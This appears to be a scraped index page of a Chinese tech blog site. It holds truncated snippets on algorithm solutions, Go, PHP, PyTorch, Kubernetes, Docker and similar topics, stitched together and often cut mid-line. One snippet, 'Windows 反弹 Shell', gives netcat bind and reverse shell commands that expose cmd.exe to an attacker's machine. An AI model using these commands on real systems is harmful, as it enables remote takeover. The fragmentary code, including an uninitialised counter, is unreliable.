PAT A1006 Sign In and Sign Out (25)
AC代码 #include <cstdio>
#include <algorithm>
#include <iostream>
using namespace std;
struct Sign {
char SignInNumber[20];
int h, m, s;
}earlist, least, temp;
/*
struct Time {
int h, m, s
} left, right, temp;
*/
void init() {
earlist.
第四章、Go-面向“对象”
4.1.结构体和方法 (1)go语言的面向对象 go仅支持封装,不支持继承和多态 go语言没有class,只有struct (2)struct的创建 package main
import "fmt"
func main() {
type treeNode struct {
value int
left, right *treeNode //指针类型
}
//不论地址还是结果本身,都用“.” 来访问成员
var root treeNode
一个购物车类(session实现的且为单例模式)
<?php
defined("Hello")||exit("Hello deny!");
/*
购物车类 session 加单例模式
功能分析
添加商品
删除商品
修改商品数量
检查商品是否存在
某商品数量加一
某商品数量减一
查询购物车的商品种类
查询购物车商品数量
是
查询总金额
返回所有商品
添加订单
修改商品库存
清空购物车
*/
//defined("Hello")||exit("Hello deny!");
class CartTool{
Windows 反弹 Shell
NC 反弹 shell 攻击场景: Victim IP: 192.168.2.10
Attacker IP:192.168.2.11 正向 Shell 我们想要弹回Victim的Shell,使用如下命令: Victim:nc -lvp 9999 -e cmd.exe Attacker:nc 192.168.2.10 9999 ps:先在肉鸡上开一个cmd服务,然后在攻击机上进行连接 反向 Shell Attacker:nc -vlp 9999 Victim:nc 192.168.2
155. Min Stack(js)
155. Min Stack Design a stack that supports push, pop, top, and retrieving the minimum element in constant time. push(x) -- Push element x onto stack. pop() -- Removes the element on top of the stack. top() -- Get the top element. getMin() -- Retrie
Python交互模式下第一个程序
之前我们已经成功的安装了Python解释器,并且它的环境变量已经写在了环境变量里,这使得我们可以在CMD种,随时调用它。 即在命令中只要输入Python并回车我们就可以进入Python的交互模式 退出就输入 1 exit() 在交互模式下,直接输入代码就能立刻得到结果:
shutter 安装和设置快捷键
1. 打开系统设置 2. 打开 Keyboard 键盘设置 3. 添加成功的状态 4. 单击右侧 Disabled,然后快速按下 Ctrl+Alt+A 如下图 5. Ctrl+Alt+A 测试OK。 参考:https://justcoding.iteye.com/blog/2261263
记录:利用cmd窗口导入mysql的sql脚本
1.进入mysql的黑窗口并输入密码登录: 2.输入:“use 数据库名”—》进入对应数据库 3.开始导入sql文件,输入“source sql文件的路径”(注意你的文件路径要是复制来的,要将"\"全部换成“/”) 4.导入完成刷新数据库,查看表。
PAT B1001 害死人不偿命的(3n+1)猜想 (15)
AC代码 #include <cstdio>
int main()
{
int n,step;
scanf("%d", &n);
while(n != 1)
{
if(n % 2 == 0) n = n / 2;
else n = (3 * n + 1) / 2;
step++;
}
printf("%d\n", step);
return 0;
}
如何只反向传播部分样本loss
import torch
# 假设预测值为a
a = torch.tensor([1, 2, 3, 4], dtype=torch.float)
a.requires_grad_(True)
# 假设groud truth为[2, 2, 2, 2]
y = torch.tensor([2, 2, 2, 2], dtype=torch.float)
# loss采用L2
loss = (y - a) * (y - a) / 2
print(loss)
gradients = t
ambari 快速安装部署
OS:Linux CPU消耗大,要准备5G以上,不然集群启动不了(我自己给它配了8G,启动整个集群是没问题,要用的话估计不够) 一、准备工作: 1、关闭防火墙:sudo ufw disable/ 2、安装java:tar -zvxf jdk8u181-linux-x64-tar 3、配置java环境:vi ~/.rcbash 在末尾添加:(添加后保存退出,用source ~/.ssh 使文件生效) export JAVA_HOME=/usr/local/jdk export PATH=$JAV
k8s之调度器、预选策略及优选函数
1.调度器(scheduler) 调度器的功能是调度Pod在哪个Node上运行,这些调度信息存储在master上的etcd里面,能够和etcd打交道的只有apiserver; kubelet运行在node节点上,监控着Node节点上的pod状态,并参与pod的创建等工作; kube-proxy也运行在node节点上,它监控着service资源的变动; kubelet和kube-proxy都要连接master上的apiserver去获取定义信息. 预选步骤--default scheduler通
PAT B1011 A+B 和 C (15)
AC代码 #include <cstdio>
int main()
{
int T, tcase = 1;
scanf("%d", &T);
for(int i = 0; i < T; i++)
{
long long a, b, c;
scanf("%lld%lld%lld", &a, &b, &c);
if(a + b > c)
{
printf("Case #%d: t
x32下PsSetLoadImageNotifyRoutine的逆向
一丶简介 纯属兴趣爱好.特来逆向玩玩. PsSetLoadImageNotifyRoutine 是内核中用来监控模块加载.操作系统给我们提供的回调. 我们只需要填写对应的回调函数原型即可进行加监控. 既然可以进行监控.那么我们的回调函数存储在哪.这是个问题.所以特来逆向玩玩. 二丶逆向过程 首先我的思路是直接windbg 挂载win7. 然后找到对应的函数进行 uf 反汇编. 来静态查看. 如果那里有疑问则自己进行动态查看. 过程很快.因为逆向过 进程回调监控.所以这个也就很快了.慢慢学习经验
给最近正在找工作(iOS)的朋友一些建议/经验
众所周知, iOS开发找工作越来越难, 企业要求越来越高,一方面是资本寒冬期+七八月是企业招人淡季, 另外一方面也是iOS市场饱和。最近有出去看新机会, 所以下面记录一下面试XimalayaFM的大概过程。 面试一共分为4轮,全程手写代码和算法。 一面:自我介绍, 然后问一下手头开发App日活和崩溃率,接着开始问 1. 无痕埋点实现原理,手写方法交换代码; 2. 手写代码使用GCD完成: 先并发下载3张图片, 等3张下载完了再并发下载剩余3张, 这里可以使用dispatch_barrage栅栏
基于Docker的GitLab搭建
今天写一些Docker搭建GitLab,好久没有写博客园了,今天又回来了,为了学习技术? 建议使用Linux内核系统,或者虚拟机,首先安装docker环境(菜鸟教程) 一、下载镜像文件 如果慢的话,可以配置阿里云加速镜像。 命令: docker pull beginor/gitlab-ce:11.0.1-ce.0 二、 创建GitLab 的配置 (etc) 、 日志 (log) 、数据 (data) 放到容器之外, 便于日后升级, 因此请先准备这三个目录。 mkdir -p /mnt/gitl
大数据智能营销系统到底怎么样?
大数据智能营销系统就是利用大数据(bigdata)在互联网行业快速找出自己的潜在客户群体,然后利用软件自动化的营销客户,但是现在是在市场上有很多不一样的大数据智能营销系统,有正版,有破解版下面小编就给大家分析一下,大数据智能营销系统正版和破解版的区别:1.正版的大数据智能营销系统是一整套的系统,和阿里云合作,建立的系统,整合所有的软件搭载在一个云服务系统里,整个系统植入在一个统一定制的笔记本电脑中
成功搭建FTP站点并实现上传与下载
文件传输协议文件传输协议(FileTransferProtocol,FTP)是用于在网络上进行文件传输的一套标准协议。FTP允许用户以文件操作的方式(如文件的增、删、改、查、传送等)与另一主机相互通信。然而,用户并不真正登录到自己想要存取的计算机上面而成为完全用户,可用FTP程序访问远程资源,实现用户往返传输文件、目录管理以及访问电子邮件等等,即使双方计算机可能配有不同的操作系统和文件存储方式。事
在服务器端搭建WDS自动部署服务实现自动装机
WDS自动部署服务Windows部署服务(WindowsDeploymentServices,缩写WDS),适用与大中型网络中的计算机操作系统部署。可以使用Windows部署服务来管理映像以及无人参与安装脚本,并提供人工参与安装和无人参与安装的选项。WDS服务配合DHCP服务和Windows活动目录域服务,可以对支持PXE启动的客户端从远程安装和部署操作系统事先准备一台装有WindowsSever
今日推荐
周排行